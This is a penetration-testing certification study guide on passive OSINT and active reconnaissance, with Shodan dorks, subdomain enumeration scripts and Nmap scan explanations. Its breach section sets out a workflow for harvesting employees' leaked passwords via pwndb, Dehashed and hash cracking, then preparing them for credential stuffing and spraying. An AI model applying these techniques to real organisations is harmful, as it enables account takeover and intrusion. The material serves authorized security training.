#!/bin/bash
# Professional Passive OSINT Pipeline
# Run from Kali Linux with all tools installed

DOMAIN="targetco.com"
ORG="Target Company Inc."
OUTPUT="/tmp/osint_${DOMAIN}_$(date +%Y%m%d)"
mkdir -p $OUTPUT

echo "[Phase 1] DNS Intelligence"
# Subdomains from Certificate Transparency
subfinder -d $DOMAIN -all -recursive -o $OUTPUT/subdomains_subfinder.txt
amass enum -passive -d $DOMAIN -o $OUTPUT/subdomains_amass.txt

# DNS records
dig $DOMAIN ANY +short > $OUTPUT/dns_any.txt
dig $DOMAIN MX +short > $OUTPUT/dns_mx.txt
dig $DOMAIN TXT +short > $OUTPUT/dns_txt.txt
dig _dmarc.$DOMAIN TXT +short > $OUTPUT/dmarc.txt

echo "[Phase 2] Historical Intelligence"
# Wayback Machine URLs
waybackurls $DOMAIN > $OUTPUT/wayback_urls.txt
gau $DOMAIN > $OUTPUT/gau_urls.txt

echo "[Phase 3] Email and Personnel"
# Email harvesting
theHarvester -d $DOMAIN -b all -l 500 -f $OUTPUT/theharvester.html

# Subdomain resolution
cat $OUTPUT/subdomains_subfinder.txt $OUTPUT/subdomains_amass.txt | sort -u > $OUTPUT/all_subdomains.txt
dnsx -l $OUTPUT/all_subdomains.txt -o $OUTPUT/resolved_subdomains.txt

echo "[Phase 4] SSL Certificate Analysis"
# Certificate transparency mining
curl "https://crt.sh/?q=%.${DOMAIN}&output=json" 2>/dev/null | \
python3 -c "import json,sys; [print(e.get('name_value','')) for e in json.load(sys.stdin)]" | \
sort -u > $OUTPUT/ct_subdomains.txt

echo "[Phase 5] OSINT Aggregation"
# Combine all discovered subdomains
cat $OUTPUT/subdomains_subfinder.txt \
    $OUTPUT/subdomains_amass.txt \
    $OUTPUT/ct_subdomains.txt | \
    sort -u > $OUTPUT/MASTER_subdomains.txt

echo "Pipeline complete. Results: $OUTPUT"
echo "Total subdomains discovered: $(wc -l < $OUTPUT/MASTER_subdomains.txt)"

3.1.21 Shodan — The Search Engine for Everything Connected

Website: https://www.shodan.io/

Type: Internet-connected device search engine

Cost: Free (limited), Freelancer ($59/month), Small Business ($299/month), Corporate (custom)

Created by: John Matherly (2009)

Shodan is one of the most powerful passive reconnaissance tools in existence. Unlike Google, which indexes website content, Shodan continuously scans the entire Internet and indexes the service banners — the metadata returned by servers when a connection is made.

This means Shodan knows:

Every IP address with an open port on the Internet
What software is running on each port (with version numbers)
SSL certificate details
Geographic location and ISP of every device
Historical data going back years

What Shodan Indexes

Shodan does not wait for you to search — it continuously probes every IP address on the Internet across hundreds of ports and stores what each service returns:

Shodan Banner Example for a Web Server:
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
Content-Type: text/html
Date: Sun, 01 Jan 2024 12:00:00 GMT

This banner tells Shodan (and therefore any searcher):

Operating system: Ubuntu
Web server: Apache 2.4.41 (specific vulnerability-checkable version)
PHP version: 7.4.3 (end-of-life — no security patches)

Shodan indexing covers:

HTTP (80, 8080, 8443, 8888, etc.)
HTTPS (443)
SSH (22)
FTP (21)
Telnet (23)
SMB (445)
RDP (3389)
VNC (5900-5901)
SNMP (161)
DNS (53)
SMTP/IMAP/POP3 (25, 143, 110)
Database ports (3306 MySQL, 5432 PostgreSQL, 1433 MSSQL, 27017 MongoDB)
Industrial control systems (Modbus 502, DNP3 20000, EtherNet/IP 44818)
IoT devices (cameras, printers, routers, NAS)
Kubernetes API (6443, 8001)
Docker API (2375, 2376)
Elasticsearch (9200, 9300)
Redis (6379)
memcached (11211)
Cassandra (9042)

Shodan Search Syntax

Basic Searches:

# Search for services belonging to an organization
org:"Target Company Inc."

# Search for services on a specific IP
ip:203.0.113.50

# Search for services in an IP range
net:203.0.113.0/24

# Search for services on a specific hostname
hostname:targetco.com

# Search for services in a country
country:US org:"Target Company"

# Search for specific ports
org:"Target Company" port:3389   # RDP exposed
org:"Target Company" port:22     # SSH exposed
org:"Target Company" port:23     # Telnet (critical finding)
org:"Target Company" port:445    # SMB
org:"Target Company" port:3306   # MySQL

# Search for specific products/technologies
org:"Target Company" product:"Apache httpd"
org:"Target Company" product:"nginx"
org:"Target Company" product:"Microsoft IIS"
org:"Target Company" product:"OpenSSH"
org:"Target Company" product:"MySQL"

Advanced Filters:

# Find specific software versions
org:"Target Company" product:"Apache httpd" version:"2.4.41"

# Find SSL certificate information
ssl.cert.subject.CN:"targetco.com"
ssl.cert.subject.O:"Target Company Inc."

# Find by SSL certificate expiry (expired certs)
ssl.cert.expired:true org:"Target Company"

# Find devices with specific vulnerabilities (Shodan CVE search)
org:"Target Company" vuln:CVE-2021-44228   # Log4Shell
org:"Target Company" vuln:CVE-2021-26855   # ProxyLogon (Exchange)
org:"Target Company" vuln:CVE-2019-19781   # Citrix Netscaler

# Find industrial control systems
org:"Target Company" port:502   # Modbus
org:"Target Company" port:44818  # EtherNet/IP (Rockwell PLC)

# Find default credentials still in use (content in banner)
org:"Target Company" "default password"
org:"Target Company" http.title:"admin" http.status:200

# Find specific web technologies
org:"Target Company" http.component:"WordPress"
org:"Target Company" http.component:"Joomla"
org:"Target Company" http.component:"Drupal"
org:"Target Company" http.component:"Tomcat"

# Find cloud storage open to public
org:"Target Company" http.title:"Index of /"

Shodan Dorks (High-Value Search Patterns):

# Exposed databases
org:"Target Company" product:"MongoDB" -authentication
org:"Target Company" port:9200 product:"Elastic"
org:"Target Company" port:6379 product:"Redis"
org:"Target Company" port:27017

# Remote desktop and management
org:"Target Company" port:3389 product:"Remote Desktop Protocol"
org:"Target Company" port:5900 product:"VNC"
org:"Target Company" has_screenshot:true port:3389   # Screenshots of exposed RDP logins

# Printers
org:"Target Company" port:9100 product:"Jetdirect"
org:"Target Company" http.title:"Printer"

# Network devices
org:"Target Company" port:161 product:"SNMP"   # SNMP (community string exposure)
org:"Target Company" http.title:"Cisco" port:443

# VPN gateways
org:"Target Company" product:"Fortinet SSL VPN"
org:"Target Company" product:"Palo Alto Networks"
org:"Target Company" product:"Pulse Secure"
org:"Target Company" product:"Citrix"

# Building management and IoT
org:"Target Company" product:"BACnet"
org:"Target Company" port:47808

Shodan CLI Tool

# Install Shodan CLI
pip3 install shodan

# Initialize with API key
shodan init YOUR_API_KEY

# Basic search
shodan search 'org:"Target Company Inc."'

# Show all services for an IP
shodan host 203.0.113.50

# Count results
shodan count 'org:"Target Company Inc."'

# Download results
shodan download --limit 1000 targetco_results 'org:"Target Company Inc."'
shodan parse --fields ip_str,port,transport,product,version targetco_results.json.gz

# Alert on new services (monitoring)
shodan alert create "Target Company Monitor" --ip 203.0.113.0/24

# Show alerts
shodan alert list

Shodan for Vulnerability Prioritization

One of Shodan's most powerful features is the CVE Search — identifying known vulnerabilities in discovered systems:

# Search for Log4Shell vulnerable systems (CVE-2021-44228)
shodan search 'org:"Target Company" vuln:CVE-2021-44228'

# Example result showing organization's vulnerable systems
203.0.113.50    80/tcp   Apache Tomcat 9.0.37 [CVE-2021-44228]
203.0.113.51    8080/tcp Apache Tomcat 8.5.51 [CVE-2021-44228]

This is intelligence that goes directly into the exploitation phase — during active testing, these systems are immediate high-priority targets.

Shodan's Screenshotting Feature

Shodan captures screenshots of visual services (RDP, VNC, web interfaces) when they are discovered. This allows passive viewing of:

Windows RDP login screens (revealing Windows version and computer name)
VNC remote desktop sessions (occasionally displaying active sessions)
Web-based control panels and administrative interfaces
Industrial HMI (Human-Machine Interface) screens

# Find systems with screenshots
shodan search 'org:"Target Company" has_screenshot:true'

# View screenshots in Shodan web interface
# https://www.shodan.io/search?query=org%3A%22Target+Company%22+has_screenshot%3Atrue

Censys — Shodan Alternative

Censys is a comparable tool to Shodan with some distinct advantages:

# Censys CLI
pip3 install censys

# Search hosts
censys search 'organization.name="Target Company Inc."' --index-type HOSTS

# Search certificates
censys search 'parsed.subject.organization="Target Company Inc."' --index-type CERTS

# Detailed host information
censys view HOSTS 203.0.113.50

Shodan vs. Censys comparison:

Feature	Shodan	Censys
Scan frequency	Continuous	Continuous
Protocol coverage	Very broad	Broad
Historical data	Yes	Yes
Certificate search	Yes	Excellent (dedicated index)
Free tier	Yes (limited)	Yes (limited)
Vulnerability data	CVE tagging	CVE tagging
Screenshot capture	Yes	Limited
IoT/OT focus	Strong	Moderate
ASN search	Yes	Yes

3.1.22 Breach Data Intelligence — Leaked Credentials and Exposure Monitoring

Breach intelligence is one of the most immediately actionable categories of passive reconnaissance data. Discovering that an organization's employees have passwords in public breach databases provides a direct credential stuffing attack vector.

Understanding the Breach Data Ecosystem

Every major data breach eventually results in the stolen data being traded, sold, and ultimately made public in various forums, paste sites, and dedicated breach databases. The timeline typically follows:

Breach Occurs
    ↓ (Days to months)
Data sold on dark web markets (private, expensive)
    ↓ (Months to years)
Data traded in hacker forums (semi-private)
    ↓ (Months to years)
Data aggregated and indexed (public, searchable)
    ↓ (Current state)
Data accessible via breach intelligence services

Have I Been Pwned (HIBP)

Website: https://haveibeenpwned.com/

Created by: Troy Hunt (Microsoft Regional Director, security researcher)

Data: 12+ billion records from 600+ breaches

HIBP is the most respected and widely used breach notification service. It provides:

For email addresses:

Which breaches an email address appears in
What data was exposed (password, phone number, physical address, etc.)
Paste sites where the email appears

For domains (enterprise use):

Domain-level search: all compromised email addresses @targetco.com
API access for bulk lookups

# HIBP API for domain search
curl "https://haveibeenpwned.com/api/v3/breacheddomain/targetco.com" \
-H "hibp-api-key: YOUR_API_KEY" \
-H "user-agent: MyPentestApp"

# Check single email
curl "https://haveibeenpwned.com/api/v3/breachedaccount/j.smith@targetco.com" \
-H "hibp-api-key: YOUR_API_KEY" \
-H "user-agent: MyPentestApp"

# Response
[
  {
    "Name": "LinkedIn",
    "BreachDate": "2012-05-05",
    "Description": "LinkedIn breach of 2012 affecting 164 million accounts",
    "DataClasses": ["Email addresses", "Passwords"]
  },
  {
    "Name": "Adobe",
    "BreachDate": "2013-10-04",
    "Description": "Adobe breach affecting 152 million accounts",
    "DataClasses": ["Email addresses", "Password hints", "Passwords", "Usernames"]
  }
]

Intelligence derived from HIBP results:

If 40% of Target Company's employees have been in breaches where passwords were exposed, this reveals:

High likelihood of password reuse across corporate and personal accounts
Historical password patterns (enabling targeted password guessing)
Specific employee email addresses are confirmed active
Breach recency (2012 LinkedIn breach → 12-year-old password likely still reused)

F-Secure Identity Checker

Website: https://www.f-secure.com/en/home/free-tools/identity-checker

F-Secure provides a consumer-facing breach checking tool that uses their own breach intelligence database. As a cybersecurity company, F-Secure has access to breach data not in HIBP.

Professional relevance:

Use alongside HIBP for broader coverage
Can confirm exposure not in HIBP's dataset

HackNotice

Website: https://hacknotice.com/

Type: Breach monitoring and notification service

HackNotice provides breach intelligence with a focus on:

Dark web monitoring for organization data
Real-time breach alerts
Industry-specific breach tracking
Employee exposure assessment

Professional use: HackNotice is typically used as part of a threat intelligence subscription for continuous monitoring rather than point-in-time penetration test reconnaissance.

BreachDirectory

Website: https://breachdirectory.com/

Type: Breach data search with partial password hash exposure

BreachDirectory provides search capability across breach data and, notably, can show partial password hashes — allowing confirmation that a password exists in breach data without exposing the full hash.

# BreachDirectory API
curl "https://breachdirectory.com/api/?func=auto&term=j.smith@targetco.com" \
-H "x-api-key: YOUR_KEY"

# Response includes partial SHA-1 hash
{
  "success": true,
  "result": [
    {
      "email": "j.smith@targetco.com",
      "sha1": "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
    }
  ]
}

The SHA-1 hash can then be looked up in hash databases to recover the plaintext password.

Keeper Security

Website: https://keepersecurity.com/

Type: Password manager and breach monitoring platform

Keeper Security's enterprise product includes:

BreachWatch: Monitors the dark web for employee credential exposure
Event Reporting: Tracks credential-related security events
Compliance Reporting: Generates compliance reports for breached account remediation

Relevance to penetration testing: Keeper's breach monitoring features inform the penetration tester about the sophistication of the client's credential hygiene program. If the client uses BreachWatch and still has many exposed credentials, it indicates employees are not responding to breach notifications.

WhatBreach

GitHub: https://github.com/Ekultek/WhatBreach

Type: Open-source breach data aggregation tool

Created by: Ekultek

WhatBreach is a command-line tool that checks emails against multiple breach databases simultaneously:

# Install
git clone https://github.com/Ekultek/WhatBreach
cd WhatBreach
pip3 install -r requirements.txt

# Single email check
python3 whatbreach.py -e j.smith@targetco.com

# Multiple emails from file
python3 whatbreach.py -l email_list.txt

# Output
[+] Email: j.smith@targetco.com
[*] Found in 3 breaches:
    - LinkedIn (2012): Email, Password
    - Adobe (2013): Email, Password Hint, Username
    - MyFitnessPal (2018): Email, IP Address, Username

[*] Checking pastes...
[+] Found on 2 paste sites:
    - Pastebin: https://pastebin.com/AbCdEfGh
    - Ghostbin: https://ghostbin.com/paste/XyZaBc

LeakLooker

GitHub: https://github.com/woj-ciech/LeakLooker

Type: Tool for finding exposed databases and files

Platform: Python

LeakLooker searches Shodan and other sources for exposed and potentially breached data sources, including:

Exposed MongoDB databases (no authentication)
Exposed Elasticsearch clusters
Exposed CouchDB instances
Exposed files in cloud storage

# Install
git clone https://github.com/woj-ciech/LeakLooker
cd LeakLooker
pip3 install -r requirements.txt

# Search for exposed databases belonging to target
python3 leaklooker.py -s --target targetco.com

# Search Shodan for exposed databases in target's IP range
python3 leaklooker.py --shodan --query 'net:203.0.113.0/24'

Why LeakLooker matters:

Many organizations have accidentally exposed databases to the public Internet:

MongoDB with no authentication (common misconfiguration)
Elasticsearch with no authentication (extremely common)
Redis with no authentication and no bind restriction
Cassandra with no authentication

Discovering these during passive reconnaissance (via Shodan data) is a critical finding that can be reported as a severe vulnerability even before active testing begins.

Buster

GitHub: https://github.com/sham00n/buster

Type: Email to social profile aggregation tool

Buster takes an email address and finds associated accounts on other platforms:

# Install
git clone https://github.com/sham00n/buster
cd buster
pip3 install -r requirements.txt

# Search for accounts associated with an email
python3 buster.py -e j.smith@targetco.com

# Output
[+] Searching for: j.smith@targetco.com
[*] Results:
    - Gravatar: Profile found (avatar reveals face photo)
    - Github: username jsmith-dev (public repositories found)
    - GitLab: username jsmith (repositories found)
    - Disqus: Comments found (reveals opinions and interests)
    - About.me: Personal page found

Intelligence value:

GitHub username → access to their public repositories → potential code disclosure
Personal website → technology preferences, skills, contact information
Gravatar → profile photo (for identity verification in social engineering)

Scavenger

GitHub: https://github.com/rndinfosecguy/Scavenger

Type: OSINT tool for finding breach data from dark web sources

Scavenger aggregates data from dark web sources, IRC channels, and paste sites to find exposed credentials:

# Install
git clone https://github.com/rndinfosecguy/Scavenger
cd Scavenger
pip3 install -r requirements.txt

# Configure API keys in config.py
# Run search
python3 scavenger.py -s j.smith@targetco.com

PwnDB

GitHub: https://github.com/davidtavarez/pwndb

Type: Tool for querying the PwnDB Tor-hidden service for leaked credentials

PwnDB is a dark web database of leaked credentials. The pwndb tool provides a command-line interface for querying it:

# Install
git clone https://github.com/davidtavarez/pwndb
cd pwndb
pip3 install -r requirements.txt

# Requires Tor running locally
sudo service tor start

# Query for email
python3 pwndb.py --target j.smith@targetco.com

# Query for domain (finds all @targetco.com exposures)
python3 pwndb.py --target targetco.com

Important note: PwnDB queries a Tor-based service and returns plaintext or partially-recovered passwords. This intelligence must be handled in accordance with the engagement's legal agreements and data protection obligations.

Credential Stuffing — The Attack Chain

Once breach data is identified, the attack chain is:

1. Identify breached @targetco.com email addresses (HIBP, pwndb, etc.)
         ↓
2. Obtain associated password hashes from breach databases
         ↓
3. Crack password hashes (offline, using hashcat/John the Ripper)
         ↓
4. Test recovered plaintext passwords against corporate systems:
   - Microsoft 365 login (outlook.office365.com)
   - Corporate VPN login
   - Citrix Gateway
   - Web application login
         ↓
5. Successful authentication = confirmed credential reuse vulnerability
   (Password Spraying: test one password across many accounts to avoid lockouts)

Password Spraying in the authorization context:

Password spraying uses a single common password against many accounts, avoiding account lockout:

# Only perform after authorization is granted (ACTIVE reconnaissance)
# Tools used in active phase:
# - Spray
# - MSOLSpray (Microsoft 365)
# - GoMapEnum
# - TREVORspray
# - CredKing (Lambda-based spray for IP rotation)

Dehashed

Website: https://dehashed.com/

Type: Commercial breach intelligence database with comprehensive credential search

Dehashed is a paid service that provides access to one of the largest breach databases, enabling:

Email to password search
Username to password search
IP address to credential search
Domain-wide breach analysis

# Dehashed API
curl "https://api.dehashed.com/search?query=domain:targetco.com&size=100" \
-H "Authorization: Basic $(echo -n 'email@example.com:API_KEY' | base64)"

The Complete Breach Intelligence Workflow

Step 1: Collect all @targetco.com email addresses
  └── Sources: theHarvester, Hunter.io, LinkedIn (via CrossLinked), 
              HIBP domain search, CT log-derived email formats

Step 2: Check all emails against breach databases
  └── Tools: HIBP API, WhatBreach, pwndb, Dehashed

Step 3: Identify accounts with exposed passwords
  └── Prioritize by:
      - Recency of breach (more recent = less likely changed)
      - Number of breaches (multiple breaches = likely password reuser)
      - Seniority of account holder (admin accounts are highest priority)
      - Role (IT admins, security team, finance are high-value)

Step 4: Attempt to recover plaintext passwords
  └── Hashcat, John the Ripper against recovered hashes
  └── Online lookup services for unsalted MD5/SHA1

Step 5: Prepare credential list for active testing phase
  └── Organize by target (VPN, webmail, application)
  └── Document for inclusion in pre-engagement intelligence report

Module 3 — Section 3.2: Performing Active Reconnaissance

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Written to build real understanding, not just tool familiarity.

3.2.1 Overview — What Active Reconnaissance Really Means
3.2.2 Nmap Scan Types — The Deep Dive
3.2.3 Practice — Nmap in a Real Engagement Context
3.2.4 Types of Enumeration — Extracting Intelligence from Open Ports
3.2.5 Enumeration via Packet Crafting with Scapy
3.2.6 Lab Reference — Enumeration with Nmap
3.2.7 Packet Inspection and Eavesdropping
3.2.8 Practice — Packet Inspection in a Real Scenario
3.2.9 Packet Crafting with Scapy — Full Professional Reference
3.2.10 Network Sniffing with Wireshark — The Complete Guide

3.2.1 Overview — What Active Reconnaissance Really Means

The Moment Everything Changes

There is a very clear line in a penetration testing engagement. Before that line, everything you do is invisible to the target — you are reading public records, browsing archived websites, looking at job listings. You leave no trace, you generate no alerts, and you are at zero legal risk. That is passive reconnaissance.

The moment you cross into active reconnaissance, everything changes. You send packets. Those packets arrive at real machines. Those machines log the connection. Firewalls potentially block and alert on the traffic. Intrusion detection systems start correlating what they see. The target's defenders, if they are watching, now have evidence that someone is probing their network.

This is why the signed authorization document — the Rules of Engagement — is not just a formality. It is the legal instrument that transforms what would be a criminal offense into legitimate, contracted security work. A penetration tester who begins active reconnaissance before the contract is signed is not an ethical hacker. They are committing an offense under the Computer Fraud and Abuse Act in the United States, the Computer Misuse Act in the United Kingdom, and equivalent laws in virtually every other jurisdiction.

So active reconnaissance starts the moment both parties have signed off and the testing window has opened — not a minute earlier.

What Makes Active Reconnaissance Valuable

Think about what passive reconnaissance gives you. You have learned from LinkedIn that the company uses AWS, has a Kubernetes infrastructure team, and recently posted a job for a "Senior Microsoft 365 Administrator." You found some subdomains via certificate transparency logs. You checked their DNS records and discovered they use Microsoft 365 for email. This is valuable — but it is secondhand information. It tells you what the company claims or appears to have, not what is actually running and accessible right now.

Active reconnaissance answers the question that matters most in a penetration test: what is actually exposed and reachable at this moment?

A company might have decommissioned a server six months ago but still have it in their DNS records because nobody updated the documentation. Active reconnaissance reveals it is gone — the IP does not respond. Conversely, that same company might have a test server that was stood up last week, never documented anywhere publicly, but actively listening on port 8080 with default credentials. Passive reconnaissance will never find it. An active scan of their IP range will.

This is the power of active reconnaissance: it shows you the real attack surface, not the documented or intended one.

The Pixel Paradise Network — Understanding Your Target

In the Protego / Pixel Paradise engagement scenario, the network contains a rich mix of device types:

User endpoints include desktops, laptops, mobile devices, and gaming consoles. From a penetration testing perspective, these are interesting because they run user-side software (browsers, email clients, productivity tools) and often have weaker configurations than servers. They are also the primary target of social engineering and client-side attacks.

Facilities endpoints include surveillance cameras, alarm systems, climate control sensors, lighting systems, and VoIP phones. This category — often called Operational Technology (OT) or IoT in enterprise environments — is enormously significant in modern penetration testing. These devices frequently run embedded operating systems, have no patching mechanism, use default credentials, and communicate over unencrypted protocols. A security camera on the same network segment as a database server is not just a surveillance device — it is a potential pivot point.

Intermediary devices are routers and switches. Compromising a router gives visibility into all traffic flowing through it and often allows traffic manipulation. Switches, particularly managed switches, can be exploited through VLAN hopping and ARP poisoning techniques.

Wireless access points provide Wi-Fi. The security of the wireless authentication mechanism (WPA2-PSK, WPA2-Enterprise, WPA3) determines how difficult it is to gain network access without a wired connection.

Firewalls protect the perimeter and potentially segment internal networks. Understanding how a firewall is configured — what it allows, what it blocks, and whether it performs stateful inspection — fundamentally shapes the attack strategy.

Active reconnaissance maps all of these devices systematically.

The Active Reconnaissance Methodology

Active reconnaissance is not random scanning. Professional practitioners follow a structured methodology that builds intelligence layer by layer:

The first step is host discovery — determining which IP addresses in the target range have live hosts. There is no point scanning 65,535 ports on every address in a /16 network (65,534 IP addresses) when perhaps only 200 of those addresses actually have devices on them. Host discovery narrows the field before the intensive work begins.

The second step is port scanning — for each live host, determining which TCP and UDP ports are in an open, closed, or filtered state. This tells you what services the device is offering to the network.

The third step is service and version detection — determining not just that port 443 is open, but that it is running nginx 1.18.0 on Ubuntu 20.04. The specific version of every service is the direct input for vulnerability research.

The fourth step is OS detection — identifying the operating system of each host, which narrows the attack surface further and informs lateral movement strategy.

The fifth step is enumeration — for each discovered service, extracting detailed, service-specific intelligence. If you found SMB is running, enumeration extracts the list of shares, user accounts, and password policy. If SNMP is running, enumeration extracts the device's full configuration and connected network topology.

Each step feeds the next, progressively building a complete picture of the target environment.

3.2.2 Nmap Scan Types — The Deep Dive

What Nmap Actually Is

Nmap — Network Mapper — is the most widely used network reconnaissance tool in the world. It was created by Gordon Lyon (known online as Fyodor) in 1997 and published in Phrack Magazine Issue 51. Nearly three decades later, it remains the standard tool for network reconnaissance because it does its job extraordinarily well: it determines what is on a network, what those things are, and what they are running.

But to understand Nmap deeply, you first need to understand the protocols it manipulates. You cannot use Nmap intelligently — choosing the right scan type for the right situation, interpreting results correctly, recognizing when a result might be a false positive — without understanding what is actually happening at the network level.

TCP — Transmission Control Protocol

TCP is the protocol that the majority of internet applications depend on. When you load a website, send an email, or connect via SSH, you are using TCP. The reason TCP is so widely used comes down to one word: reliability.

TCP is a connection-oriented protocol. Before any data is exchanged, the two parties (let us call them Client and Server) must establish a connection through a process called the three-way handshake. Think of it like a phone call: you dial (SYN), the other person picks up and says hello (SYN-ACK), and you acknowledge that you can hear them (ACK). Only then does the actual conversation begin.

Each TCP packet carries flags in its header — small bits that indicate what type of packet this is and what the sender wants the receiver to do with it. The six classic flags are:

SYN (Synchronize) — This flag says "I want to start a connection with you." It is the first packet in every new TCP connection.

ACK (Acknowledge) — This flag says "I received your last packet." Almost every TCP packet after the initial SYN carries an ACK, because TCP guarantees delivery by requiring every packet to be acknowledged.

FIN (Finish) — This flag says "I am done sending data and want to close this connection gracefully." Unlike RST, a FIN-based close allows the other side to finish sending whatever it still has to send before the connection terminates.

RST (Reset) — This flag says "Abort this connection immediately." It is an emergency stop. When a server receives a connection request to a port where nothing is listening, it sends RST. When a security device detects a suspicious connection, it may inject RST packets to force the connection closed.

PSH (Push) — This flag tells the receiving side to pass the data up to the application immediately rather than buffering it.

URG (Urgent) — This flag indicates that part of the payload is urgent and should be processed before the rest.

Understanding these flags is the foundation of understanding every Nmap scan type, because what Nmap does at its core is send specific combinations of these flags and interpret what comes back.

UDP — User Datagram Protocol

UDP is TCP's simpler, faster, less reliable sibling. While TCP goes through the three-way handshake and guarantees delivery, UDP just sends packets and does not wait to confirm they arrived. This makes UDP faster and more efficient — which is why real-time applications like video streaming, online gaming, VoIP calls, and DNS queries use UDP. If you are in a video call and a packet gets lost, you do not want the video to pause while the system resends that packet — you just want to move on to the next frame. UDP enables that.

For penetration testing, UDP matters enormously because UDP services are the most frequently overlooked and therefore often the least secured. Administrators focus their patching and monitoring efforts on TCP services. UDP services like SNMP (Simple Network Management Protocol), TFTP (Trivial File Transfer Protocol), and DNS often run with default configurations and weak security.

The Port State System

Before diving into specific scan types, you need to understand what Nmap is actually trying to determine: the state of each port.

A port is like a numbered door on a building. The building is the IP address. Each door (port number, 1 through 65535) can be in one of several states:

An open port means a service is actively listening behind that door. If you knock (send a packet), someone answers. Port 443 being open on a web server means there is an HTTPS service ready to accept connections.

A closed port means the door exists and the building is reachable, but nobody is listening behind that specific door. The building (host) is up, but this particular service is not running. The key behavior: a closed port responds to probes — it sends back a RST packet saying "nothing here."

A filtered port is the most ambiguous state. Nmap sent a probe and received no response — but that does not mean the port is open. It might mean a firewall silently dropped the packet without sending any response. Nmap cannot distinguish between "open service that is not responding to this type of probe" and "firewall dropping packets" without additional evidence.

An unfiltered port is specifically the ACK scan result — the port is accessible, but Nmap cannot determine from an ACK probe alone whether it is open or closed.

The states open|filtered and closed|filtered represent Nmap's honest admission that it cannot determine the exact state with the probes it sent.

The TCP Connect Scan (-sT)

Imagine you are trying to determine whether a shop is open. The simplest approach is to walk up to the door, try the handle, and see if it opens. If it opens, the shop is open. If you get a "Sorry, We're Closed" sign, it is closed. If there is a security guard who stops you before you even reach the door, something is blocking you.

The TCP Connect scan works exactly like this. It uses your operating system's built-in networking capability — specifically the connect() system call — to attempt a full, complete connection to each target port. It does not manipulate raw packets. It just asks the operating system: "Please connect to this IP address, this port number."

The operating system performs the complete three-way handshake. If the handshake succeeds (the server sends SYN-ACK and the connection is established), the port is open. Nmap then immediately closes the connection with a RST and moves to the next port. If the target sends a RST during the handshake attempt, the port is closed. If no response comes after a timeout period, the port is filtered.

Why this matters: Because it uses the OS networking stack rather than raw packets, the TCP Connect scan does not require administrative privileges. Anyone can run it. This makes it useful when you are testing from a machine where you do not have root or administrator access — perhaps you are testing from a standard user account on a company workstation, or from a cloud instance where your user lacks elevated privileges.

The significant drawback is detectability. Because the scan completes full TCP connections, every service that receives a connection logs it. Apache logs it. Microsoft IIS logs it. sshd logs it. The MySQL daemon logs it. If a security analyst reviews server logs after a -sT scan, they will find a clear record of rapid sequential connections from the scanner's IP address.

In a real engagement, you would use the TCP Connect scan when you literally have no choice — when you lack the privileges for a SYN scan. Otherwise, you almost always prefer the SYN scan for its speed and reduced logging footprint.

The SYN Scan (-sS) — Understanding the "Stealth" Concept

The SYN scan is Nmap's default scan type when run with root privileges, and it is the most commonly used scan type in professional penetration testing. To understand why, you need to understand one key insight about how logging works in network services.

Most network services only create a log entry when a connection is successfully established — that is, when the three-way handshake has completed. The thinking is: why log connection attempts that never went anywhere? Only completed connections represent real sessions and real interactions.

The SYN scan exploits this behavior. Instead of completing the three-way handshake, it sends just the initial SYN packet. If the target port is open, the server responds with SYN-ACK — saying "yes, I am ready to connect." But instead of completing the handshake with an ACK, Nmap immediately sends a RST — effectively saying "never mind, abort." The connection is torn down before it is ever fully established.

The result: the target's service never sees a completed connection. In many older and simpler services, no log entry is created. The probe and its result (port open or closed) are determined entirely from the SYN-ACK or RST-ACK response to the initial SYN packet, without the handshake ever completing.

This is why it is called a "half-open" scan — the connection is half-opened but never completed.

The "stealth" label deserves an important caveat, though. Against modern enterprise defenses — a Palo Alto NGFW, a Suricata IDS, a Cisco FirePOWER — a SYN scan is not stealthy at all. These systems inspect every packet at the wire level, not just completed connections. They detect SYN scans within seconds based on the rate and pattern of SYN packets from a single source IP. The "stealth" in "stealth scan" refers to its behavior relative to simple, service-level logging — not to modern security infrastructure.

In practical terms, SYN is preferred over TCP Connect because it is faster (no need to wait for handshake completion) and generates fewer log entries in service logs. Against sophisticated defenses, you need timing manipulation and evasion techniques on top of scan type selection.

Requires root or administrator privileges because crafting raw TCP packets (sending a SYN and then an RST rather than a normal ACK) requires direct access to the network stack at a level that the operating system only grants to privileged users.

The UDP Scan (-sU) — The Most Overlooked and Most Important

UDP scanning is unglamorous, slow, and frustrating. It is also absolutely critical and frequently reveals the most interesting vulnerabilities on a network. There is a reason experienced penetration testers always run a UDP scan even when they are pressed for time.

Here is the fundamental problem: UDP has no handshake. You send a UDP packet to a port. One of three things happens. First, the service running on that port receives the packet and sends a response — in which case you know the port is open. Second, nothing is running on that port, and the operating system sends back an ICMP "Port Unreachable" message — in which case you know the port is closed. Third, you receive nothing at all — which could mean the port is open but the service did not respond to your generic probe, or it could mean a firewall dropped the packet.

This ambiguity is what makes UDP scanning slow. For many UDP ports, Nmap cannot send a generic probe and expect a response — it needs to send a protocol-specific probe. For DNS (port 53), it sends a DNS query. For SNMP (port 161), it sends an SNMP request. For TFTP (port 69), it sends a TFTP request. Without a protocol-appropriate probe, the service will not respond, and the port appears filtered even if it is actually wide open.

On top of this, Linux and many other operating systems rate-limit the generation of ICMP Port Unreachable messages to prevent them from being used in denial-of-service attacks. If you are scanning a Linux host, it might generate at most one ICMP Port Unreachable per second. A full 65,535-port UDP scan against a Linux host will therefore take over 18 hours to complete if you are relying on ICMP responses to determine closed ports.

This is why professional practice is to always limit UDP scans to the ports that matter most. The most valuable UDP services for penetration testing are:

SNMP on port 161 is arguably the most impactful UDP service to discover during active reconnaissance. SNMP (Simple Network Management Protocol) is used to monitor and manage network devices — routers, switches, firewalls, servers, printers — from a central management station. The protocol works by querying a database of management information called the MIB (Management Information Base). When accessed with the right community string (essentially a password), SNMP reveals the complete internal state of a device: every interface and its IP address, the routing table, every connected device it has ever communicated with (the ARP table), the list of running processes, installed software, CPU and memory utilization, and in the case of network devices, the complete configuration.

The catch is that the two default community strings — "public" for read-only access and "private" for read-write access — are still in use across millions of devices worldwide because administrators never changed them. Finding SNMP open with the default "public" community string on a network device is one of the most impactful findings in a penetration test: it reveals the entire network topology instantly.

DNS on port 53 is present on every DNS server. Active DNS enumeration — which we cover in detail in the enumeration sections — can reveal zone information, internal hostnames, and occasionally enable zone transfers that dump the entire DNS database.

